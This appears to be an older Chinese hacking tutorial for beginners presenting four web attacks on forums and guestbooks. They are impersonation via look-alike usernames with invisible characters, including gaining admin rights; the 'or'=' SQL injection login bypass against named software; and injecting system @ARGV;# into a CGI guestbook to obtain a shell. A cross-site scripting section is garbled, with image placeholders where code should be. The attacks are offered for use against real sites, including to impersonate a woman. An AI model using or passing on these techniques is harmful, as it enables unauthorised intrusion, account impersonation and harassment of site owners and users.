分析服务器的web程序,像论坛、聊天室了,发现其程序编写的bug或疏漏,从而进行80端口的渗透入侵,似乎只是黑客程序高手的事情。其实不然,虽然我们不会编写程序,但是利用构造特殊字符菜鸟一样可以来进行80端口的渗透入侵。不相信?那好,看我用特殊字符精心打造的的四把小李飞刀。
第一把飞刀:鱼目混珠
我们可以用它实现在论坛里冒名发言。看中一个美眉,日思夜想想让她在论坛里对全世界说我爱你,美眉就是不说怎么办?打开记事本,按下tab键或capslock+tab键,就会形成一个特殊空格。然后复制下来,将空格放在美眉的名字后注册,啊,果然成功注册了和美眉一个同样的名字,剩下来的事就好办了。形成特殊空格的字符还有区位输入法输入的aaaa或aaab或aaac。还有一个字符是,在html标签里它就是空白的意思,用它也可以。我的经验是区位输入法输入的aaaa/aaab/aaac,在asp编写的程序里成功率极高,而tab键和在php程序里成功率高。更可怕的是,在wdb论坛和ibb论坛,用tab键构造的特殊用户名可以取得和原用户相同的权限。如果原用户名是管理员,那你的构造的这个冒名用户也会变成管理员。
第二把飞刀:瞒天过海
在asp动态网络编程中,经常会有验证管理员帐号和密码的登陆页面,以便进行后台管理。但是在这样的身份验证里会存在一些漏洞,例如在用户名和密码框里都输入'or'=',也可以进入管理页面。为什么会这样?我简单说一下。看原程序: user=request.form("user")
pass=request.form("pass")
......
sql="select * from guestbook where user ='"&user&"' and pass='"&pass&"'
如果将user和pass的值我们都输入'or'=',那么上边的最后一行sql代码就会变成
sql="select * from guestbook where user ='or'='and pass='or'='"
如果你懂一点sql语句的话,就可以看到,我们输入的'or'='满足了程序成真的条件值,所以我们就蒙敝过关了。这样说太抽象了,信心文章管理系就存在这个漏洞,这套程序在网上一抓一大把。抓个图看看,你用我提供的特殊字符,在帐号和密码处都输入'or'='就可以就入后台管理了。
第三把飞刀:暗渡陈仓
最近网络上出了不少关于入侵lb论坛的文章,无一例外,它们都谈到了构造特殊字符。众所周知,如果在一个cgi或perl程序里写入system @ARGV;#这一行代码,就会形成一个网页后门。用http://ip/*.pl?dir就会看到网站的物理目录(*.pl文件里有system @ARGV;#这一行代码)。举个例子吧,agbii是一个免费的cgi留言本,网上非常流行。而你在这个留言本里留的言都是以第n条留言的数目、用户名、标题、内容等等来排列的,而且留的言的都是按第n条留言顺序排放在一个固定目录data/用户名下。说起来好像很复杂。
像我留了一条言,是这个网站留言本的第10条留言,我用的用户名是;system,标题是@ARGV;#,内容是哈哈,仔细看签写留言的那个图,此留言本的用户就是222.然后我们执行http://192.168.1.3/book/data/222/10.pl?dir就会得到一个shell了。
第四把飞刀:太公钓鱼
这是一个比较有趣也比较难利用的方法,也就是网上所说的跨站脚本攻击。我说一下,我们菜鸟可以利用的方法吧。先说一个有趣的,在ubb代码中,就是我们在论坛里发贴的代码有一个bug。在
![](/images/load.gif)
写入
![](/images/load.gif)
最后说明,这四把飞刀并不是锋利无比,在每个服务器上都可以刀刀封喉,但对网上的大多数论坛或聊室或别的网页程序,还是......那句话......小李飞刀,名不虚传。